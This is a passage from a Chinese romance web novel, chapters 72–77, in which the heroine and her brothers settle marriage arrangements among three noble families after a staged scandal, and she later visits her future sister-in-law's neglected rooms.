《渣男与人暗度陈仓,我与王爷明修栈道》 第72章 你会武功 顾勇和李氏在门口听着这番话,双双脸色难堪。 顾诗雅更是被怼得脸色青白交错,恨不得砍了面前这对背着她勾搭成奸的男女! 顾思沫这贱人,难怪要求着带她出来,说什么在庄子里十多年没见过花灯,想出来见见世面。原来是这贱人不满父亲和母亲给她相中的婚事,今晚是故意出来跟她抢男人的! “爹、大哥。”夜时舒挤进后堂。 “舒儿,你怎么出来了?”夜庚新问道。 “爹,今晚花灯节,王爷怕我闷着,便让九姑陪我出来赏花灯。我正要回王府,路过这里,瞧着将军府的马车在外头,便进来瞧瞧。”夜时舒解释完,径直走向夜时竣那间屋子。 “承王妃。”顾勇和李氏向她行了行礼。 “首辅大人、夫人,我无意窥视热闹,只是路过这里时听闻我二哥出了事,所以来看看。”她瞧了一眼床上的夜时竣和顾思沫以及床边的顾诗雅,对顾勇和李氏叹道,“没想到会发生这种事,必须让人彻查才行!不过这事事关夜家和顾家名声,彻查的同时还得好好商讨一下,看如何把这事平息下去。” 顾勇和李氏冷着脸没接话。 夜时舒端得一脸正气,又说道,“我们夜家男儿顶天立地,绝非毫无担当之人,既然我二哥与顾大小姐有了亲密接触,那我们夜家是必须要对顾大小姐负责的。听闻丞相夫人为顾家保媒,想让顾家和夜家结姻亲,既然如此,那改日便让我二哥去顾家向顾大小姐提亲。” 说完,她回头朝夜庚新和夜时珽看去,“爹、大哥,你们没异议吧?” 夜庚新皱着眉想说话,但夜时珽抢先了一步,“小妹说得没错,既然时竣与顾大小姐有了亲密接触,那自然是要对顾大小姐负责的。” 夜时竣垮着肩,一副受了委屈无处诉苦的模样,不情不愿地道,“听你们的就是!” 兄妹三人就这么直白又简单地把事商量妥当了,夜时珽仿佛才看到顾勇和李氏脸色不佳,于是上前拱手行了个晚辈礼,“首辅大人、夫人,愚弟虽不是家中长子,但也是嫡出,顾大小姐同愚弟的婚事也算门当户对,不知你们意下如何?” 李氏把脸别开,仿佛什么都没听到。 顾勇看了看夜时竣和自己的大女儿,最后沉着脸道,“为了两家颜面,也只能如此了!” 他话音一落,顾诗雅立马激动地嚷了起来,“爹,你怎么能答应呢?顾思沫要是嫁给了二公子,那我怎办?难道你要我嫁给一个县令的儿子?他配吗?” 顾勇铁青着脸斥道,“你给我闭嘴!” 顾诗雅赶忙朝李氏扑去,抱住李氏崩溃大哭,“娘,我不要嫁给那个姓范的!他们设计毁我清白,现在又要我下嫁,女儿受不了这样的羞辱!” 李氏又心疼又恼火。 心疼的是自己的宝贝女儿受了这等天大的委屈,恼火的是她也瞧不上一个县令之子。 她女儿可是首辅千金,京城贵胄之家的公子拎一个出来,哪个不比县令之子强?可那么多贵公子,她女儿却栽在了一个县令之子手上,这等屈辱何止是她女儿不能接受,她也一样不能接受! “老爷……”她朝顾勇看去,想让他多为女儿考虑。 “夫人。”夜时珽淡淡一笑,“我表弟云濡乃是今年的举子,此次进京便是来参加今年秋闱的。虽说云濡家世不高,但其满腹经纶、才华出众,若是他今年能在秋闱中拔得头筹,将来前途必是不可估量。首辅大人、夫人,可莫要其少年穷哦。” 顾勇一听,原本压着怒火的神色突然间有所缓和。 为了两家颜面,也为了牵制住夜家,大女儿和夜时竣的婚事由不得他拒绝。如果范家那小子真是有才之人,那起码是颗可培养的苗子,就像夜时珽所言,如果今年秋闱那小子真榜上有名,他家雅儿嫁给那小子也不亏。 “来人。”他随即朝管家看去,“去告诉那位范公子,明日去首辅府,我要与他好好谈谈。” “是!”管家躬身应道,随后便去了隔壁的房间。 他们的话,没一人刻意压低声量,范云濡全都听到了。 醒来时得知自己‘睡’了顾诗雅,他整个人都懵傻了。首辅二小姐,他做梦都不敢肖想,可也不知是谁做的,居然把他和这位二小姐送到了一张床上,还被几家人抓了现形…… 听到顾诗雅嫌恶他的话,他是难堪羞愤的,可听到夜时珽帮他向首辅大人说好话,他又忍不住滋生幻想。 当听到顾勇说明日让他去首辅府要单独面见他时,他简直难以置信,仿佛夺了科甲第一般激动澎湃! 管家进来将顾勇的话转告他时,他已整理好衣裳,端得风姿峻立,从容地应下明日之行。 管家眯着眼打量着他,从容貌到身材、从神态到举止,兴许是看得上他这个举子,所以眼中也没有太多轻视之意。 而另一边,顾诗雅一听自家爹爹的话,顿时急得又要大哭。 但顾勇这次没惯着她,立即朝她的丫鬟下令,“把二小姐带回去!” 李氏心中也有气,冷眼扫过夜家三兄妹后,亲自带着女儿离了酒馆。 夜时舒背着人,对着自家二哥俏皮地眨了眨一只眼。 当然,她也不忘打量那半个身子躲在她二哥身后的顾大小姐。 之前他们在大堂的对话她都听得一清二楚,先不说这顾大小姐安的什么心思,就凭她敢从顾诗雅手中抢人,她也得对这个未过门的二嫂高看一眼。 至于这二嫂究竟安的什么心,他们肯定是要好好查的…… 隔壁另一间房里突然传来女人惊叫的声音。 夜时舒立马想起来,还有一对呢! 她率先朝那间房奔去。 夜庚新和夜时珽也听到了范云莹的哭声,赶忙拔腿跟上去。 房间里,游清波一只手正抓着范云莹,另一只手举着,恶狠狠地骂道,“臭女人,就躺一块,小爷连摸都没摸过你,你委屈个什么劲儿?识相的,你就讨好小爷,小爷若是高兴了,说不定会给你个名分,不然小爷管你是谁,有多远给小爷滚多远!” “住手!”夜庚新忍不住喝道。 见他们进来,特别是看到夜时珽时,范云莹立马挣开游清波的手,激动地要投进夜时珽的怀抱,“大表哥……” 夜时舒眼疾手快地先接住她。 范云莹愣了一下,接着要推开夜时舒,崩溃地朝夜时珽喊道,“大表哥,不是你们看到的那样,我和他什么事都没有!大表哥,你相信我,我和他是清清白白的!” 夜时珽沉着脸,视线移开,声线冷硬地道,“回府再说吧!” “大表哥……”范云莹看着他冷漠的样子,似是无法接受,突然两眼一闭便倒在了夜时舒身上。 夜时舒抱着她,眉头狠狠皱起。 其他人都好解决,看这范云莹的样子,怕是还得费一番劲儿。 第73章 承王接亲 她将范云莹交给郝福,让郝福先把人带回府去,顺便通知姑婆夜氏。 游清波看范云莹被送走了,也要离开。 “大表哥且慢!”夜时舒冷着脸唤住他。 “表妹有事?”游清波驻足回头看向她。 “刚刚那位是我大哥的未婚妻,你就这样走了,合适吗?” “什么合适不合适,我和她就躺在这里而已!”游清波恼怒地道,“我连她一根指头都没碰,你们不会叫我对她负责吧?” 对他这样的态度,夜家人都不满,但深知他为人秉性,也都理解他为何会不在乎这种事。 曾经风光无比的裕丰侯府,就是因为他好赌成性、好色成瘾,把家业全都在砸在了赌坊和女人身上,导致今日裕丰侯府就剩下一座空盒子。 女人于他而言,那就是一件衣物,穿了就扔,扔了再买。更何况今日他只是跟范云莹躺在一起,说难听点他都没把范云莹当成穿过的衣物,要他对范云莹负责,他自然不认。 夜时舒朝夜时珽看去,快速交换眼神后,她索性不理会游清波,直接走出房门找到游建彬和温氏。 “大舅舅、大舅母,大表哥与我云莹表姐这事,你们如何看?不说别的,你们一边是我爹的舅兄,一边是我爹的姑婆,我爹处在你们两家有多为难可想而知,更何况范云莹还与我大哥有婚约在身,你们作为大表哥的爹娘,总得拿出一个态度来,不是吗?” 温氏本就泼辣,这会儿面对夜时舒的施压,立马不满地道,“这事你大表哥也是受害者,你叫我们拿什么态度?就因为他是男子,所以被人坑害了也得忍下委屈?再说,就是躺一张床上,什么都没发生,有什么好说的?” 夜时舒嘲笑地扬起唇角。 有其母必有其子,这话在这一家之身上真是展现得淋漓尽致。 她又看向游建彬,“大舅舅也是这般认为的?” “我……” “大舅舅可要考虑清楚,我云濡表哥如今跟首辅家的千金沾上了关系,且他又是今年秋闱的举子,别看范家现在不如人,将来如何可是说不好的。” 游建彬本想跟妻子一条心,听到她这番话,到嘴的声音立马吞了回去,然后扯了扯温氏的衣袖,小声道,“儿子也该娶妻了,不是吗?” 温氏忍不住瞪他,“就算波儿要娶妻,那也要娶清白的姑娘,你瞧瞧这范氏女,与人有婚约还跑出来跟人喝酒作乐,这种不要脸的人,如何配得上我们家波儿?” 夜时舒唇角狠狠一抽。 说得好像她儿子就要脸似的! 游建彬被妻子这么一瞪,松动的心又立马冷硬了起来,学着温氏的口吻与夜时舒说道,“我们裕丰侯府在京城也是有头有脸的,岂能娶一个与他人有婚约的女子过门?舒儿,都说娘亲舅大,你可不能因为她是你夜家的表姐便对她偏颇!” 温氏附和道,“就是!” 看着他们夫妻沆瀣一气的模样,夜时舒也不再说任何,转身便走向夜庚新和夜时珽。 夜庚新张着嘴想同女儿说话,但被夜时珽用眼神制止了。他冷静下来想了想,也觉得没必要在这里多说什么。 毕竟范云莹还与他儿子有婚约呢,再谈下去,只会让他儿子难堪。二儿子与顾家大小姐的事可以明面商讨,但范云莹和游清波的事容易把无辜的大儿子牵扯进去,这两件事性质不同,不可放一起说。 而游清波见父母给自己撑腰,更是提了劲儿,大摇大摆地离开了酒馆。 对于裕丰侯府的事,顾勇不在意,两个女儿的事有了解决之法后,他立马派人彻查这家酒馆。 而查到的结果是,这家酒馆的东家几日前已经将酒馆转卖了。 老东家被找来,拿来了酒馆被转卖的证据。 可询问出新东家姓甚名谁后,顾勇派去查探的人却回来禀报,“老爷,小的去衙门问了,有叫程栋的人,但此人几年前酗酒出意外摔死了。至于之前在酒馆里的掌柜和伙计,没人知晓他们的来历,也没人知道他们的踪迹。” 顾勇听后大为震惊。 夜时竣忍不住抱怨,“真是见鬼了!我们一家常年在外领兵打仗,跟京城里的人都没什么往来,今日分明就是有人故意做局害人,到底是谁结的仇家,连我都不放过?” 说着话他很是不满地朝裕丰侯府和首辅府的人瞪去。 顾勇和游建彬、温氏都不约而同地拉长了脸。 “时竣,不得放肆!”夜时珽板着脸低斥兄弟,接着朝顾勇和游建彬、温氏拱手道,“首辅大人、大舅舅、大舅母,时竣他在边境长大,不似京中公子小姐那般素有管教,若有无礼之处,还请你们莫要与他一般见识。” 他们兄弟就跟一个唱黑脸、一个唱红脸似的,让人憋着火硬是发作不出来。 夜庚新还不知道今晚的事是他的好儿子做的,一直没怎么开口的他也决定说几句,“今晚之事事关我们三家子女的名声,小儿时竣其实也没说错,能如此大费周折设局之人,多半与我们三家有仇怨。而对方算计了我们三家子女后还消失得如此彻底,其能耐可见一斑。” 游建彬和温氏夫妻俩不以为意地撇嘴。 毕竟对他们来说,今日之事对他们儿子压根就不是什么大事,何况就算他们儿子与别人真的睡了,也不是他们儿子吃亏。 换言之,什么仇啊怨的,根本扯不上他们裕丰侯府! 但顾勇听了夜庚新的话却是一脸沉冷,那眼神阴鸷地瞪着虚空都仿佛与空气有大仇似的。 毕竟朝中与他不对付的人不在少数,今晚被设计的六个人有两个是他女儿,可以说他是损失最大的,就算别人不提醒他他也要怀疑,背后之人多半是冲他首辅府来的! 也正因考虑这点,所以夜家父子说什么他都没有作声。 眼看着天都亮了,查又查不出什么,说又说不出个定断,三家人只得各回各府。 而顾勇在带着大女儿与另外两家分别后,还不忘吩咐管家,让其暗中派人监视这处酒馆,大有不查到底不罢休的架势。 “舒儿,你陪着我们熬了一夜,也快些回王府休息吧,莫让王爷担心。”夜庚新心疼地叮嘱一直在身旁的女儿。 第74章 今晚看戏 “爹,我已经让九姑回府转告王爷了,他通情达理,不会说什么的。”夜时舒皱着柳眉叹了口气,“我现在最担心的就是云莹表姐那里,出了这档子事,大哥才是最受屈辱的,要是云莹表姐执意要嫁给大哥,那大哥这辈子都会成为别人的笑话。” 夜庚新朝大儿子看去,纠结又为难。 大儿子可是他们家未来的支柱,他们家的儿媳可以不论家世,但却不能不要名声。 “时珽,这里就我们一家人,告诉爹,你要如何打算?” “爹,儿子不知。”夜时珽淡淡地摇了摇头。 夜时竣忍不住说道,“爹,这种事您怎么能问大哥呢?如果大哥不记嫌地迎娶云莹表妹,那他只会被世人笑话。如果大哥与云莹表妹退婚,别人又会说大哥薄情寡义。不论大哥如何选,受伤的都是大哥!” 夜庚新听着这番话,更是替大儿子难过起来。 夜时舒跟夜时竣对过眼神后,由她说道,“爹,之前大哥就对姑婆惦记我嫁妆的事表示不满,有意延迟与云莹表妹的婚期,想多考验他们一番。如今发生这样的事,我们不如顺水推舟把这亲事退了。” “不过依照姑婆的性子肯定不会答应,依我看,不如让大哥先去军营待一阵子。一来让大哥避避风头,少听些闲言碎语影响心情,二来姑婆和云莹表妹就算不甘心,也没法纠缠大哥,大哥也不会为他们感到为难。” 夜时竣赶紧附和,“爹,小妹的主意不错!大哥在这件事上里外都难做,我愿意和小妹当这个恶人!” 两个儿女都如此维护自己兄长,作为父亲,夜庚新还有什么理由反对? “好,听你们的。” “爹,我们知道你也难做,不如这样,你和大哥一起去军营,府里的事都交给我们吧。”夜时竣提议。 “这……”夜庚新不放心地看着他,“我去了军营,那你和顾大小姐的事谁操持?”提起二儿子的婚事,他又一脸不解地看向女儿,“舒儿,那顾大小姐也是顾家的人,你怎么就同意你二哥娶她呢?” 夜时舒笑了笑,说得义正严词,“爹,游清波可以不对云莹表姐负责任,可是我二哥是顶天立地的汉子,这种事到底是女子吃亏,二哥不能不给人家一个交代,您说是不?您就按二哥说的,同大哥一起去军营,顾大小姐那里,我会陪二哥准备聘礼去提亲的。虽然我辈分低,可好歹也是承王妃,我出面也不会掉夜、顾两家的面子。” 夜庚新想了想,的确,女儿虽是家中老幺,辈分低,可承王妃这个身份可不低。让她陪她二哥去提亲,并不会贬低顾家。 一家四口商量好后,夜庚新和夜时珽连将军府都没回,直接往麾下的大军营去了。 夜时竣和夜时舒坐在马车回将军府。 兄妹俩在路上笑得那叫一个欢! “二哥,你这一局棋下得是真妙,连王爷都夸你是个人才!” “王爷真夸我了?”夜时竣满脸放光,突然他想到什么,凑近夜时舒,压着嗓音问道,“小妹,王爷……真的假的?” 昨夜在酒馆里,就冲伙计对尉迟凌的打量,夜时舒也知道尉迟凌的事瞒不住她二哥,只是面对他好奇,她正色道,“外面不好说,哪天去你去承王府再说。” “明白!”夜时竣点头。 没人知道,他心中已经翻起了巨浪。 承王殿下的伤腿竟然是伪装的…… …… 兄妹俩回到承王府。 一进大门,却意外地看到了九姑。 “九姑,你怎么在这里?” “王妃,王爷天不亮就来将军府等您了。”九姑笑着回道。 “……”夜时舒汗。 昨晚她让尉迟凌先回王府,她甚至答应过他,看会儿热闹就回去。 好吧…… 是她没按时回去。 可他现在还是‘伤员’,还在‘养伤’,怎么能随意跑出来呢! “九姑,你先去跟王爷说一声,我陪二哥去秋水院见见姑婆,一会儿就去找他。” “是。”九姑也知道他们想做什么,领了话便朝她的悦心院去了。 兄妹俩随即去了夜氏和范云莹所住的秋水院。 提前回来的范云濡也在这里。 祖孙三人明显也是一夜未睡,特别是范云莹,一张脸蛋憔悴苍白,眼睛又红又肿,不用问也知道昨晚酒馆的事对她打击甚大。 见他们兄妹前来,夜氏望了一眼他们身后,问道,“时竣,你爹和大哥呢?” 夜时竣道,“军营有急事,他们忙着去了。” 夜氏活了一把岁数,岂会不明白他们一家之的意思? 顿时老脸拉下,说话也冷了几分,“你大哥对我家莹儿真是一点情分都不给!再说了,莹儿和裕丰侯世子什么事都没发生,就因为这点事就嫌弃莹儿,不说瞧不起谁,至少就没把我这个姑婆放在眼中!” 夜时舒立马道,“姑婆,话不能这么说。我二哥本来相看亲事的人还是顾家二小姐呢,被人那么一坑,只能选择顾家不受宠的大小姐,您说说我二哥又找谁说理去?” 夜氏瞪眼,“如今你们大哥嫌弃莹儿,那裕丰侯世子又不愿对莹儿负责,那你们叫莹儿怎么办?莹儿怎么说也是你们表姐,难道你们就忍心看着她这一辈子嫁不出去?” 夜时舒道,“既然姑婆觉得云莹表姐跟我那世子表哥没什么,那又何必担心云莹表姐嫁不出去?” “我……”夜氏被怼得语塞,但下一刻她便激动地道,“我的意思是我家莹儿清清白白的,时珽就不该嫌弃!听闻当初你下水救承王,魏家也没嫌弃你与承王有肌肤之亲,人魏家照样想迎娶你!” 第75章 命丧大火 夜时舒反唇笑道,“呵!姑婆知道得挺多,可是姑婆却不知道,魏家不嫌弃我下水救承王,是因为他们贪图我的嫁妆。我在外面出事,我爹以为我死了,要给我和魏家公子举办冥婚,可是魏家一听娶个牌位没嫁妆,立马就反悔了。您说,我的情况能与云莹表姐的情况一样?” 夜氏这一下算是直接被堵无语了。 许是没话反驳,故而那张老脸跟抹了蜡一样,难看得不行。 范云莹一句话都没说,只埋着头嘤嘤哭泣。 夜时舒和夜时竣对视了一眼,都在心中表示,把爹和大哥支走真是明智之举,要是他们在这对祖孙面前,这对祖孙一个哭、一个闹,那场面怕是帝王来了都收不了场…… 夜时竣也不给他们笑脸,甚至学起夜氏的口吻说道,“姑婆,云莹表妹的遭遇我们也很难过,但你只知为云莹表妹着想,怎不为我大哥着想呢?” “一边是您这位姑婆,一边又是我们亲娘舅,您叫他夹在其中如何做人?事情发生在我身上还好说,可我大哥是夜家的嫡长子,不单单肩负国之重任,还肩负家族使命,您让他被世人闲话,您于心何忍?” 夜氏别开脸,仿若自己没听到。 夜时竣干脆看向一旁沉默的范云濡,“云濡表弟,你是范家长孙,你觉得这事如何处理?” 范云濡看了一眼自家祖母和妹妹,只抿了抿唇,接着继续沉默。 夜时竣也不恼,甚至搬凳子坐到他身侧,认真与他商量起来,“云濡表弟,依我看,现下最要紧的是你和顾二小姐的事,首辅大人最看重有文采的人,您好好准备一番,争取让他把顾二小姐嫁给你。有他这么个岳父泰山作依仗,将来你再登科及第,那范家必定是京城的新贵。” “等到那时,云莹表妹还愁嫁吗?等到那时,我大舅舅一家只会懊恼不已,怕是连肠子都能悔断!你说,咱们现在有必要再为云莹表妹的事气恼吗?” 不得不说,他这番话真是说到了夜氏和范云濡心坎上。 昨晚的荒唐事,细算下来,就范云濡获益最大,而他又是范家的嫡长孙,他的前途那还真是关系整个范家的兴旺发达。 看着祖孙俩被说动了,夜时舒也忍不住为他们打气,“姑婆、云濡表哥,你们放心,有我们帮着斡旋,顾家跟你们结亲是一定的!” 她这个承王妃都下保证了,夜氏哪里还好意思作闹?整个人神色都大好起来,老眼中甚至有了笑意。 只是…… 看着身侧的孙女,她又忍不住皱眉,稍作思索过后,她对孙女说道,“莹儿,依祖母看,你和时珽还是做兄妹吧。时竣说的没错,待你大哥娶了顾二小姐,有首辅大人帮衬,你大哥今年科举一定能上榜,到时他光宗耀祖,你这个亲妹妹还愁婆家吗?” 范云莹能说什么? 出了事以后,裕丰侯世子嫌恶他,夜时珽这个未婚夫也嫌恶她,甚至连见都不愿再见她一面。 试问,她能怎么办? 难道要她以死相逼? 可如果他们不受威胁呢,难道要她白死? 她不甘心! 她要报仇,报这些男人薄情寡义之仇! 又抽泣了几声后,她低着头哽咽回应,“祖母,孙女的事全凭您做主。” 夜氏心疼地搂住她,抚着她的背安慰道,“我的乖莹儿,你放心,待你大哥在京城站稳脚跟,婆母一定会为你挑门好亲事。” 夜时舒和夜时竣又一次交换眼神,心下都狠狠地松了一口气。 总算替大哥把这门亲事甩掉了! 夜时竣随即便对范云濡说道,“云濡表弟,你该回房梳洗准备了,首辅大人不是说了吗,要请你过府与你谈话,你可得好好表现。” 范云濡赶紧起身。 夜氏也急声道,“哎呀,差点把这事给忘了!濡儿,你快回房准备,今日可一定要争气啊!” “祖母,那您和莹儿先休息,孙儿先回房了。” “快去快去。” 夜时竣也对夜氏说道,“姑婆,我和小妹还有事,就不陪您了。” 出了秋水院后,为了表示夜家对范云濡的鼓励,夜时竣让人去通知郝福,若是首辅府来人,让郝福陪范云濡前去首辅府。 郝福虽是下人,可在将军府几十年,夜家父子不在京城时,有关将军府的人情往来都是他在打理,可以说在某些时候他也代表了将军府的态度。 有郝福作陪,最起码首辅府不会怠慢他们,范云濡自是欣喜接受夜时竣的安排。 跟范云濡道别后,夜时竣便要跟着夜时舒去她的悦心院。 夜时舒哪会不知道他的心思,直接把他挡住,笑道,“二哥,你还是找别的时候去见王爷吧。我一晚上没回王府,有许多话要跟王爷说呢。” 夜时竣大咧咧地道,“你累了一夜,回房睡你的觉,昨晚的事我去同王爷说!” 夜时舒哭笑不得,“二哥,王爷多半也是一夜未眠,你听话,先去休息,有什么话等王爷休息好了再说。” 她不敢说了解承王,但承王的脾气阴晴不定是真的。他若心情好,什么话都好说,他若心情不好,便是什么话都敢说。 昨晚她一夜没回去,还不知道承王是否生气了呢,她不先去把人哄好,她二哥去也是讨不到好脸的。 夜时竣瘪了瘪嘴,“行吧,等你们补了觉再去找你们。” 夜时舒目送他走远后,这才提起裙摆往自己的卧房小跑去—— 九姑在房门外候着,见她总算回来了,忙上前说道,“王妃,王爷在屋里歇着呢,也不知是否睡着。” “九姑,你去休息吧。” “是。” 夜时舒推开房门,轻手轻脚地进去,又轻手轻脚关上房门,接着轻手轻脚靠近床榻。 床边是某爷出行的车轮椅,床上卧着一具修长的身影,只不过是背对着床外的,她也瞧不见对方是否睡着,只能踮起脚去偷看。 突然,男人手臂一抬,精准地搂住她腰身,如猛兽捕物般把她卷上床。 第76章 生小野人 “啊!”夜时舒忍不住惊呼。但落入他怀中对上那双黑沉冷冽的眸子后,她又咧嘴一笑,“王爷,早啊!” “巳时了,还早吗?” “呵呵,是不早了。” 尉迟凌突然翻身压住她,抵着她额头和鼻尖,冷飕飕地道,“把本王支开,自己看热闹,可尽兴了?” “我没……唔……” 夜时舒解释的话刚出口,便被他薄唇狠狠堵住。 他看似不粗鲁,但汲取的力气多少带着些惩罚的意味。夜时舒下意识地挣扎,他却捉住她的手往他身上放,她吓得浑身紧绷,再不敢动分毫,只能由着他在唇齿间肆意作乱。 等她呼吸不畅了,他才从她唇齿间退出。 两个人都气喘吁吁。 夜时舒别开头,不敢看他那双因欲望而火热的黑眸。 要说他自制力强吧,他总是动不动就逮着她亲,每次都像要把她亲断气。要说他自制力不强吧,他又能一直忍着不到最后那一步。 尉迟凌抬起手,摘掉她头上的发簪,并将她散开的乌发梳拢在身后。 “睡吧。” 夜时舒被困在他火热的怀抱中,与他蓄势待发的身体紧密接触,哪可能睡得着? 看到他摘下的发簪,她突然想起这是他昨晚送她的,于是从他手中拿过。 碧色清透的簪身,金缕丝打造的蝶花,白玉和红玉作花芯,别致独特不说,做工精巧细腻,她昨晚没来得及看,这会儿瞧见了,满眼都是欢喜。 “王爷,这是哪家宝楼出的?” “咳!”尉迟凌不自然地咳了咳,“本王让人打造的。” “什么时候?” “成亲前。” 夜时舒耳根发烫,低声转移话题,“你就不问问昨夜的事?” “有何好问的?” “……” “倒是你二哥与那顾大小姐的事本王颇感兴趣。本王差人去查过那顾大小姐,其母亲过世后她便被送到族中庄子里,最近才被顾家接回府中。听闻当今的顾夫人正欲给她说亲,对方是御史大人的庶子。” “御史大人的庶子?是不是有些痴傻的那个?”夜时舒忍不住惊讶。她是不怎么与人往来,但京城有名有姓的人她还是有耳闻。 尉迟凌点了点头。 夜时舒脱口道,“首辅嫡长女嫁给一个庶子不说,且那庶子还是个痴傻的!那顾夫人也太丧德了吧?”想到什么,她恍然大悟,“难怪那顾大小姐要主动与我二哥合作,原来她是想借我二哥摆脱顾夫人安排的婚事。” 尉迟凌不置可否,只拍了拍她的背,又说道,“快睡,本王乏了。” 夜时舒瞄了他一眼,虽然他气息平稳下来了,但黑眸中某些欲望并未散尽。 她耳根红到脸颊,把发簪放到枕头边,在他怀里找了个舒适的姿势,安静地闭上了眼。 尉迟凌勾了勾唇角,贴着她发髻也闭上了眼。 …… 他们这一觉睡到了黄昏。 九姑刚把吃食摆上桌,夜时竣就跑来了。 尉迟凌没坐在车轮椅上,而是坐在凳子上,看到他放在地上的双脚,夜时竣‘嘿嘿’笑着。 “王爷、小妹,我也一整日没进食。” 夜时舒下意识朝尉迟凌看去,他要是觉得不方便的话,那她就和二哥去厨房找吃的。 “二舅哥坐下一起用吧。”尉迟凌淡淡地开口。 “诶诶!”夜时竣嘴角都快咧到耳根了,麻溜朝他去,嫌他身侧的凳子太远了,还把凳子朝他挪近。 看着自家二哥都快贴到尉迟凌身上了,夜时舒额角忍不住掉黑线,刻意干咳了一声,示意他注重形象。 但夜时竣眼中仿佛只有尉迟凌一人,坐下后又是给尉迟凌盛饭、又是给尉迟凌添菜,还头也不抬地吩咐夜时舒,“小妹,难得我与王爷同桌进食,你快让人去酒窖拿两坛好酒来,今日我定要陪王爷喝个尽兴!” 夜时舒黑着脸瞪着他,“要不要再请个戏班子来给你们唱个曲儿?” “那敢情好……”夜时竣脱口应道,但应完他便愣住,然后干笑着朝自家妹子看去,“小妹,我就是太高兴了,忘了王爷的情况不能饮酒,嘿嘿。” 对于他的热情,尉迟凌倒也没有表现出嫌弃的表情,只是不搭他的话。 这要是换做其他人看着这一幕,只会说夜二公子热脸贴承王冷屁股,可在夜时舒眼中,承王能容忍她二哥在跟前叽叽喳喳,真的算是奇迹了。 “二哥,范云濡今日去首辅府了吗?”她试着转移他二哥对承王的热乎劲儿。 说起正事,夜时竣还是靠谱的,立马端坐身形说道,“郝福陪他去了,听说首辅大人亲自出题考了范云濡,看样子首辅大人是看中了范云濡的文采,今年范云濡科考,说不定还真有可能登榜。” 夜时舒并不意外,毕竟顾诗雅都与范云濡‘睡’一起了,顾家再势大,也还是要脸面的。何况范云濡真有学识,那在首辅大人眼中便是一个可塑之才。 夜时竣突然叹了口气,“如果范云濡没登榜那还好,如果让他登榜了,就凭他们那一家子的品性,官越大,民越苦。我现在都有些后悔把他塞给顾诗雅了,万一将来有百姓受这种人欺压,那我岂不是造孽了?” 他这份‘远见’,夜时舒都不知道该如何接话。 倒是他身侧的尉迟凌冷不丁开口,“待他上了榜再说,无需为此远虑。” 夜时竣立马转头冲他笑道,“王爷说的是,他能否上榜还是未知数,我大邺国国运昌盛,能入仕为国效力的人都是天选栋梁,绝对不是那种连小女孩都不放过的无耻之徒。” 尉迟凌斜睨了他一眼,朝桌面抬了抬下巴,“赶紧用,今夜把聘礼备好,明日本王随你去首辅府提亲。” 闻言,夜时竣这才想起来,自己和顾大小姐的事。 他一脸大咧咧的笑瞬间僵在脸上,脑海里不由地冒出顾大小姐的模样。 长这么大,从来没有想过娶妻,突然间就有媳妇了,他总觉得怪怪的。 “二哥,想什么呢?你不会后悔跟顾大小姐的合作了吧?”夜时舒瞧着他那呆愣愣的模样,一时摸不准他想法。 夜时竣抬头看着她,干干一笑,“君子一言驷马难追,我说过的话肯定作数。只是大哥都没成亲,我先娶了媳妇,这好像于理不合?还有,我从小到大除了跟你亲近外,就没跟其他女人亲近过,你说成了亲我该如何与她相处?” “你知道的,我喜欢打打杀杀,如果我动不动就拉着她一块习武,她会不会骂我有病?还有,听说女人都要哄的,可我只哄过你,突然间要我去哄一个陌生人,我该怎么哄?” 夜时舒一脸黑线。 就连尉迟凌听着他一番纠结的话,唇角都忍不住抽搐了好几下。 用过吃的,夜时竣把郝福叫了过来,让他陪自己去库房挑东西。 郝福这个大管家也是能人,没用到两个时辰就把聘礼造成册了。夜时竣没经验,还特意把礼单拿给尉迟凌过目。 第二天。 将军府敲锣打鼓带着厚重的聘礼去到首辅府。 顾勇和其夫人李氏还算给脸,亲自出大门迎接。 看到坐在车轮椅上的尉迟凌,夫妻俩稍显诧异后,挤出热情的笑容上前行礼,“承王殿下怎么来了?” “听闻我二舅哥今日来首辅府下聘,本王在府里闷得慌,便来凑个热闹。” 在尉迟凌说完后,夜时舒接着说道,“军营中事务繁忙,我父兄这几日着实抽不开身。他们又担心误了我二哥和顾大小姐的婚事,便委托我和王爷陪同我二哥前来下聘。” 顾勇抬手引道,“王爷、王妃,请里面上座!” 李氏则是在旁吩咐管家把聘礼接进府中。 夜时舒看得出来李氏脸色不好看,等到一行人进到厅堂时,对李氏说道,“夫人,顾大小姐与我二哥的婚事算是定下了,那她就是我未来的二嫂,但我在京城长大,那夜还是第一次见她,能否请她出来,我想同她说说话?” “这……”李氏不仅一脸为难,脸色还略微泛着白。 “夫人,有何不便吗?” “王妃,没什么不便,就是小女平日里懒惰惯了,这会儿还没起呢。”顾勇惭愧地道,“都是我们管教无方,一直纵容她在外面,以至于她养成了任性妄为的坏毛病。” 第77章 不敢妄想 “那我去她院里找她吧,都是女子,应该没什么不妥的。”夜时舒笑得温柔随和。 顾勇的脸也有些僵了。 李氏赶紧说道,“王妃,实不相瞒,其实不是沫儿她犯懒,而是她昨夜贪玩想翻墙出府,不曾想脚滑,把自个儿摔伤了。” 她这话一出,一旁的夜时竣不由得敛紧了双目。 夜时舒也微不可查地皱了皱眉。 爬墙摔了? 她看了一眼自家二哥,关心问道,“夫人,大小姐伤得可重?不行,我得去看看,可别伤重耽误和我二哥的婚事。” 语毕,她转身给九姑使了使眼色,带着九姑便朝厅堂外去。 “王妃……”李氏忍不住想叫住她。 尉迟凌打断她,“夫人,王妃担心顾大小姐也是应该的,你让她去吧,否则以她善良的性子,怕是回了王府也难心安。” 顾勇瞪了李氏一眼,随即朝一旁的丫鬟吩咐,“快跟着,莫要叫王妃迷路了。” 丫鬟应声后便朝夜时舒追了去。 夜时竣也想跟去,但他刚准备提起便收到尉迟凌睇来的眼神。 他只好压着好奇心继续留在厅堂。 而另一边。 夜时舒这一去原本只是想印证一下心中的猜测,没想到竟是让她大开了眼界。 堂堂的首辅大小姐住的小院竟然挨着马棚。 说是小院,那都是抬举了。花花草草都没种一株,几间联排的屋子,怎么看怎么像是下人房。 为她引路的丫鬟还主动向她解释,“我们大小姐自小就淡泊名利,不喜与人来往,所以很小就去了外面的庄子单独过日子。前阵子被接回来,大小姐十分不习惯府里奢贵的东西,非要搬来这里居住,老爷和夫人都拿她没辙,只能随了她。” 夜时舒笑着回她,“只听说过想千方百计享受荣华富贵的,还没听说有人没苦硬吃的,你们大小姐真是特别。不过她这性子还真是对我二哥的胃口,我二哥从小到大也是如此洒脱随性。” 丫鬟听后,不再言语,只低着头为她引路。 顾思沫的房间还是联排屋子最里面靠墙的那一间,站在房门外都能闻到不远处马棚传来的味儿。 